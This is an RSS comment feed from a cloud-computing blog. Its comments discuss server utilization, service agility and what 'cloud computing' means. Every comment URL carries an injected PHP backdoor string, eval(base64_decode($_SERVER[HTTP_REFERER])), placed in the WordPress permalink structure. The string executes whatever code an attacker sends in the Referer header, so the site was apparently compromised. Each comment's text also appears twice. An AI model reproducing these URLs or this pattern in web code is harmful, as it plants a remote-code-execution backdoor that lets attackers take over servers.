Comments for Cloudology* http://steveoberlin.com/cloudology [*The study of efficient and transparent delivery of elastic IT-based services and applications] Fri, 10 Sep 2010 17:24:48 +0000 http://wordpress.org/?v=2.6.2 Comment on 500 Words Or Less by jsale http://steveoberlin.com/cloudology/2010/01/28/500-words-or-less/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-244 jsale Sat, 13 Feb 2010 23:16:08 +0000 http://steveoberlin.com/cloudology/?p=99#comment-244 I am shocked and chagrined, too! I can't believe you've had a blog for a year and I didn't know about it. I've been tracking your for several years (not much of a web presence for such an alpha geek until this blog). I admit I haven't googled your name in a while, tho', until this morning. It has been too long, eh? Speaking of Mitre, I did some work for them several years ago on their TIDES project. I'm currently at SDSC. Look me up, eh? I am shocked and chagrined, too! I can’t believe you’ve had a blog for a year and I didn’t know about it. I’ve been tracking your for several years (not much of a web presence for such an alpha geek until this blog). I admit I haven’t googled your name in a while, tho’, until this morning. It has been too long, eh? Speaking of Mitre, I did some work for them several years ago on their TIDES project. I’m currently at SDSC. Look me up, eh?

]]> Comment on The Elephant in the Computer Room by Steve O. http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-11 Steve O. Tue, 31 Mar 2009 15:14:29 +0000 http://steveoberlin.com/cloudology/?p=69#comment-11 Thanks, Cloudwatcher, for the comments. I can't dismiss "average server utilization" as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money. I couldn't agree more with you that dynamic scaling of services -- "agility" -- is what really matters. Increased agility increases business competitiveness and can help grow the top line -- again, way more important than merely reducing the IT budget. Thanks, Cloudwatcher, for the comments. I can’t dismiss “average server utilization” as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money.

I couldn’t agree more with you that dynamic scaling of services — “agility” — is what really matters. Increased agility increases business competitiveness and can help grow the top line — again, way more important than merely reducing the IT budget.

]]> Comment on The Elephant in the Computer Room by Cloudwatcher http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-10 Cloudwatcher Mon, 30 Mar 2009 19:35:27 +0000 http://steveoberlin.com/cloudology/?p=69#comment-10 It's my guess that improved "average server utilization rates" are not a measurement worth pursuing -- ever! I know this is heresy in the cloud but you are dead right: it's the service not the server that matters. What really matters is how fast an enterprise can add servers to - or release them from a service/application. (Has anyone thought to popularize such a measurement?) This sort of dynamic provisioning will invariably cause server utilzation rates to rise. More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved. I'm not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service's availability. It’s my guess that improved “average server utilization rates” are not a measurement worth pursuing — ever! I know this is heresy in the cloud but you are dead right: it’s the service not the server that matters.

What really matters is how fast an enterprise can add servers to - or release them from a service/application. (Has anyone thought to popularize such a measurement?) This sort of dynamic provisioning will invariably cause server utilzation rates to rise. More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved.

I’m not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service’s availability.

]]> Comment on “Now, that’s a knife…” by jldupont http://steveoberlin.com/cloudology/2009/02/18/now-thats-a-knife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7 jldupont Wed, 18 Feb 2009 20:12:49 +0000 http://steveoberlin.com/cloudology/?p=65#comment-7 Hi Steve - I believe that the term "Cloud Computing" is ill defined at the moment because it is so nascent. I haven't myself settled on a satisfactory definition: over time, it is probably the business pressures that will help define the boundaries of what people accept as "Cloud Computing". Hi Steve - I believe that the term “Cloud Computing” is ill defined at the moment because it is so nascent. I haven’t myself settled on a satisfactory definition: over time, it is probably the business pressures that will help define the boundaries of what people accept as “Cloud Computing”.

]]> Comment on The Cloudology Manifesto by Steve O. http://steveoberlin.com/cloudology/2009/02/03/welcome-to-cloudology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-6 Steve O. Thu, 12 Feb 2009 15:53:47 +0000 http://steveoberlin.com/cloudology/?p=38#comment-6 Excellent points, Mastermark, both about complexity being the harder problem (mere scale without complexity is relatively easy; see HPC), and the likelihood of human-like cognition being the best way to program our systems to self-manage their own complexity. I'm okay with getting our systems to think more like us, just think we need to try harder to think more like them (in the sense of using precise data representation, consistent logic, error detection, etc., not the human calculator sense). Thanks for the comments; fresh fruit is always welcome. Excellent points, Mastermark, both about complexity being the harder problem (mere scale without complexity is relatively easy; see HPC), and the likelihood of human-like cognition being the best way to program our systems to self-manage their own complexity. I’m okay with getting our systems to think more like us, just think we need to try harder to think more like them (in the sense of using precise data representation, consistent logic, error detection, etc., not the human calculator sense). Thanks for the comments; fresh fruit is always welcome.

]]> Comment on The Cloudology Manifesto by mastermark http://steveoberlin.com/cloudology/2009/02/03/welcome-to-cloudology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5 mastermark Thu, 12 Feb 2009 03:55:45 +0000 http://steveoberlin.com/cloudology/?p=38#comment-5 An auspicious debut. As a sitter on the sidelines of the fray you have hereby joined (and an occasional thrower of fruit) I can tell you that you are very welcome. In the interest of being sceptical, I can't resist questioning your assessment of human wetware (I love that term. I think I'll go re-read some Rudy Rucker). As we move towards systems of ever greater complexity*, enabled by both the technologies and the economics of the cloud, I suspect that we are going to find ourselves desperately trying to find a way to program our digital hardware to behave in ways that come to emulate the "poor human brain" more and more. Things like "pattern recognition and classification, generalization, and approximating solutions to algorithmically-intractable problems" are, I suspect, going to be precisely the sorts of problems we need to solve. * There seems to be an assumption amongst many in the ICT business that the material difference caused by "the Cloud" is one of scale in the dimension of size. I'm sceptical of that. I think the more profound change is one of complexity. People who really get some of this are quick to point out that the advantage of "elastic" infrastructures is not being able to "spin one up" on demand, but the ability to turn things off, on demand. To which I think, yes, but am then troubled by the idea of entire systems winking in and out of existence like particles in vacuum fluctuations... An auspicious debut. As a sitter on the sidelines of the fray you have hereby joined (and an occasional thrower of fruit) I can tell you that you are very welcome.

In the interest of being sceptical, I can’t resist questioning your assessment of human wetware (I love that term. I think I’ll go re-read some Rudy Rucker).

As we move towards systems of ever greater complexity*, enabled by both the technologies and the economics of the cloud, I suspect that we are going to find ourselves desperately trying to find a way to program our digital hardware to behave in ways that come to emulate the “poor human brain” more and more. Things like “pattern recognition and classification, generalization, and approximating solutions to algorithmically-intractable problems” are, I suspect, going to be precisely the sorts of problems we need to solve.

* There seems to be an assumption amongst many in the ICT business that the material difference caused by “the Cloud” is one of scale in the dimension of size. I’m sceptical of that. I think the more profound change is one of complexity. People who really get some of this are quick to point out that the advantage of “elastic” infrastructures is not being able to “spin one up” on demand, but the ability to turn things off, on demand. To which I think, yes, but am then troubled by the idea of entire systems winking in and out of existence like particles in vacuum fluctuations…

]]> Comment on Cloud Burst by William Vambenepe’s blog » Blog Archive » UCI: setting RDF for failure? http://steveoberlin.com/cloudology/2009/02/10/cloud-burst/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3 William Vambenepe’s blog » Blog Archive » UCI: setting RDF for failure? Wed, 11 Feb 2009 07:43:16 +0000 http://steveoberlin.com/strange/?p=12#comment-3 [...] 2009/2/10: You should read Steve Oberlin's take on this overall taxonomy/ontology discussion. He knows the topic, carefully reads the posts that he [...] [...] 2009/2/10: You should read Steve Oberlin’s take on this overall taxonomy/ontology discussion. He knows the topic, carefully reads the posts that he [...]

]]>